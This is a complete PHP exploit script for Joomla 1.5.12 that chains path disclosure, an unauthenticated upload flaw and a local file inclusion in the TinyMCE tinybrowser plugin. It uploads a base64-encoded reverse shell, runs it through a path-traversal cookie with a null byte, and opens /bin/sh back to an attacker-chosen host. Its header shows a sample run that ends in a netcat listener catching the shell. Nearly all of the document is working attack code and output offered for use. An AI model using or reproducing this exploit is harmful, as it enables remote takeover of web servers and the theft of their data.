1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
#!/usr/bin/php <?php /* Copyright (c) ITIX LTD This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program.If not, see <http://www.gnu.org/licenses/>. TITLE: Joomla 1.5.12 connect back exploit AUTHOR: Nikola Petrov (vp.nikola@gmail.com) VERSION: 1.0 LICENSE: GNU General Public License Platform: Joomla 1.5.12 Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com) Date: 27.08.2009 Joomla 1.5.12 suffers from different kinds of vulnerabilities: - path disclosure - unauthorized file upload - local file inclusion I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities but these are enough to get a connection back from the server. Path disclosure: joomla/libraries/joomla/client/ldap.php Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php) Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php Here is the LFI vulnerability: -- snip-snip: folders.php -- <?php require_once('config_tinybrowser.php'); // Set language if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) { require_once('langs/'.$tinybrowser['language'].'.php'); } else { require_once('langs/en.php'); // Falls back to English } ... -- snip-snip -- [wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php localhost 80 / localhost 9090 [+] web root: /var/www/html [+] tinybrowser secret: s0merand0mjunk!!!111 [+] Shell successfully uploaded. [+] Executing shell... [wadmin@M01 1.5.12]$ [wadmin@M01 /]$ nc -vvv -l 9090 Connection from 127.0.0.1 port 9090 [tcp/websm] accepted id && uname -a uid=48(apache) gid=48(apache) groups=48(apache) Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux exit [wadmin@M01 /]$ */ if($argc < 6) { print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n"; print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n"; print "\texample: jtiny-1-5-12.php localhost 80 / localhost 9090\n\n"; exit(); } $RemoteHost = $argv[1]; $RemotePort = $argv[2]; $RemotePath = $argv[3]; $LocalAddress = $argv[4]; $LocalPort = $argv[5]; if($argc == 7) $RemoteDocRoot = $argv[6]; else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath); if($argc == 8) $Secret = $argv[7]; else $Secret = "s0merand0mjunk!!!111"; print "[+] web root: $RemoteDocRoot\n"; print "[+] tinybrowser secret: $Secret\n"; $Shell = "PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz". "cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ". "QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi". "dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh". "bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv". "cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v". "c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy". "YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp". "KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07". "CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo". "aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s". "JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws". "ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW". "KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk". "UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl". "aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh". "ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF". "KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp". "KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ". "TykpIGV4aXQ7CgkJfQoJfQo/Pgo="; $File = fopen("./_shell", "w") or die("Cannot open: ./_shell"); fwrite($File, base64_decode($Shell)); fclose($File); #print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n"; if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) { print "[-] Cannot upload shell.\n\n"; unlink("_shell"); exit(); } else print "[+] Shell successfully uploaded.\n"; unlink("_shell"); print "[+] Executing shell...\n"; shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort); function getRemoteDocRoot($aRemoteHost, $aRemotePath) { $Client = curl_init(); curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php"); curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ; curl_setopt($Client, CURLOPT_HEADER, 0); $Response = curl_exec($Client); if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) { print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n"; exit(); } curl_close($Client); $Step1 = strpos($Response, "not found in <b>") + 16; $Step2 = strpos($Response, "/libraries/joomla/"); if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath)); else return substr($Response, $Step1, $Step2 - $Step1); } function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) { $Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass="); curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath")); curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1); $Response = curl_exec($Client); if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) { print "[-] uploadFile() recieved http code $HttpCode.\n"; exit(); } curl_close($Client); return strpos($Response, "File Upload Success"); } function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) { $Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00"; $VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort"; $Client = curl_init(); curl_setopt($Client, CURLOPT_URL, $VulnerableFile); curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ; curl_setopt($Client, CURLOPT_HEADER, 0); curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell"); $Response = curl_exec($Client); curl_close($Client); print $Response; } ?> |